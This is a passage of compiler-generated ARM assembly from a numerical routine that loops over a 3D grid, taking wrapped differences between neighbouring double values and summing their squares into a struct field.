bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-124]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #108
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #100
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #92
ldmia r3, {r2-r3}
sub r1, fp, #92
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #84
ldmia r3, {r2-r3}
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #76
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-144]
str r2, [r1, #16]
str r3, [r1, #20]
.L127:
ldr r3, [fp, #-144]
add r3, r3, #48
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #8
str r3, [fp, #-140]
ldr r3, [fp, #-128]
add r3, r3, #1
str r3, [fp, #-128]
.L126:
ldr r3, [fp, #-160]
sub r3, r3, #1
ldr r2, [fp, #-128]
cmp r2, r3
blt .L128
ldr r3, [fp, #-144]
add r3, r3, #96
str r3, [fp, #-144]
ldr r3, [fp, #-140]
add r3, r3, #16
str r3, [fp, #-140]
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L125:
ldr r3, [fp, #-164]
sub r3, r3, #1
ldr r2, [fp, #-132]
cmp r2, r3
blt .L129
ldr r2, [fp, #-160]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #5
mov r2, r3
ldr r3, [fp, #-144]
add r3, r3, r2
str r3, [fp, #-144]
ldr r3, [fp, #-160]
lsl r3, r3, #4
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-136]
add r3, r3, #1
str r3, [fp, #-136]
.L124:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-136]
cmp r2, r3
blt .L130
ldr r3, [fp, #8]
ldr r3, [r3, #8]
cmp r3, #1
bne .L131
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-140]
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r2, r2, r3
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-156]
add r3, r3, r2
str r3, [fp, #-144]
mov r3, #1
str r3, [fp, #-136]
b .L132
.L136:
mov r3, #1
str r3, [fp, #-132]
b .L133
.L135:
ldr r3, [fp, #-144]
ldrb r3, [r3, #25] @ zero_extendqisi2
cmp r3, #0
bne .L134
ldr r3, [fp, #-160]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r3, [fp, #-160]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-100]
str r3, [fp, #-96]
ldr r3, [fp, #-140]
sub r3, r3, #8
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-92]
str r3, [fp, #-88]
ldr r3, [fp, #-160]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #4
sub r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
ldr r2, [fp, #-124]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-76]
str r3, [fp, #-72]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-68]
str r3, [fp, #-64]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r2, r3, #0
ldr r3, [fp, #-160]
lsl r3, r3, #3
sub r3, r2, r3
add r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r2, r3, #1
ldr r3, [fp, #-124]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-60]
str r3, [fp, #-56]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-52]
str r3, [fp, #-48]
ldr r3, [fp, #-124]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-44]
str r3, [fp, #-40]
ldr r3, [fp, #-160]
lsl r2, r3, #1
ldr r3, [fp, #-124]
sub r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-36]
str r3, [fp, #-32]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r2, [fp, #-124]
ldr r3, [fp, #-160]
sub r3, r2, r3
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r2, [fp, #-160]
ldr r3, [fp, #-124]
sub r3, r2, r3
add r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-20]
str r3, [fp, #-16]
sub r3, fp, #116
ldmia r3, {r2-r3}
sub r1, fp, #116
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #108
ldmia r3, {r2-r3}
sub r1, fp, #108
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #100
ldmia r3, {r2-r3}
sub r1, fp, #100
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #92
ldmia r3, {r2-r3}
sub r1, fp, #92
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #84
ldmia r3, {r2-r3}
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #76
ldmia r3, {r2-r3}
sub r1, fp, #76
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #68
ldmia r3, {r2-r3}
sub r1, fp, #68
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #60
ldmia r3, {r2-r3}
sub r1, fp, #60
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #52
ldmia r3, {r2-r3}
sub r1, fp, #52
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #44
ldmia r3, {r2-r3}
sub r1, fp, #44
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #36
ldmia r3, {r2-r3}
sub r1, fp, #36
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #28
ldmia r3, {r2-r3}
sub r1, fp, #28
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
sub r3, fp, #20
ldmia r3, {r2-r3}
sub r1, fp, #20
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
ldr r1, [fp, #-144]
str r2, [r1, #16]
str r3, [r1, #20]
.L134:
ldr r2, [fp, #-160]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r2, r3
ldr r3, [fp, #-144]
add r3, r3, r2
str r3, [fp, #-144]
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-132]
add r3, r3, #1
str r3, [fp, #-132]
.L133:
ldr r3, [fp, #-164]
sub r3, r3, #1
ldr r2, [fp, #-132]
cmp r2, r3
blt .L135
ldr r2, [fp, #-160]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #5
mov r2, r3
ldr r3, [fp, #-144]
add r3, r3, r2
str r3, [fp, #-144]
ldr r3, [fp, #-160]
lsl r3, r3, #4
ldr r2, [fp, #-140]
add r3, r2, r3
str r3, [fp, #-140]
ldr r3, [fp, #-136]
add r3, r3, #1
str r3, [fp, #-136]
.L132:
ldr r3, [fp, #4]
sub r3, r3, #1
ldr r2, [fp, #-136]
cmp r2, r3
blt .L136
ldr r3, [fp, #-160]
lsl r2, r3, #1
ldr r3, [fp, #-124]
add r3, r2, r3
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-152]
add r3, r2, r3
str r3, [fp, #-140]
ldr r2, [fp, #-124]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #4
mov r1, r3
ldr r2, [fp, #-160]
mov r3, r2
lsl r3, r3, #1
add r3, r3, r2
lsl r3, r3, #5
add r3, r1, r3
sub r3, r3, #48
ldr r2, [fp, #-156]
add r3, r2, r3
str r3, [fp, #-144]
mov r3, #1
str r3, [fp, #-136]
b .L137
.L141:
mov r3, #1
str r3, [fp, #-132]
b .L138
.L140:
ldr r3, [fp, #-144]
ldrb r3, [r3, #25] @ zero_extendqisi2
cmp r3, #0
bne .L139
ldr r3, [fp, #-160]
rsb r3, r3, #1
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
sub r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-116]
str r3, [fp, #-112]
ldr r3, [fp, #-160]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-108]
str r3, [fp, #-104]
ldr r3, [fp, #-124]
lsl r3, r3, #3
rsb r3, r3, #0
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-124]
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-100]
str r3, [fp, #-96]
ldr r2, [fp, #-160]
mvn r3, #-536870912
sub r3, r3, r2
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
add r3, r3, #8
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dsub
mov r2, r0
mov r3, r1
str r2, [fp, #-92]
str r3, [fp, #-88]
ldr r3, [fp, #-160]
sub r3, r3, #-536870911
lsl r3, r3, #3
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r0-r1}
ldr r3, [fp, #-140]
ldmia r3, {r2-r3}
bl __aeabi_dsub
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl wrap
mov r4, r0
mov r5, r1
ldr r3, [fp, #-140]
ldmia r3, {r0-r1}
ldr r3, [fp, #-160]
lsl r3, r3, #4
rsb r3, r3, #8
ldr r2, [fp, #-140]
add r3, r2, r3
ldmia r3, {r2-r3}
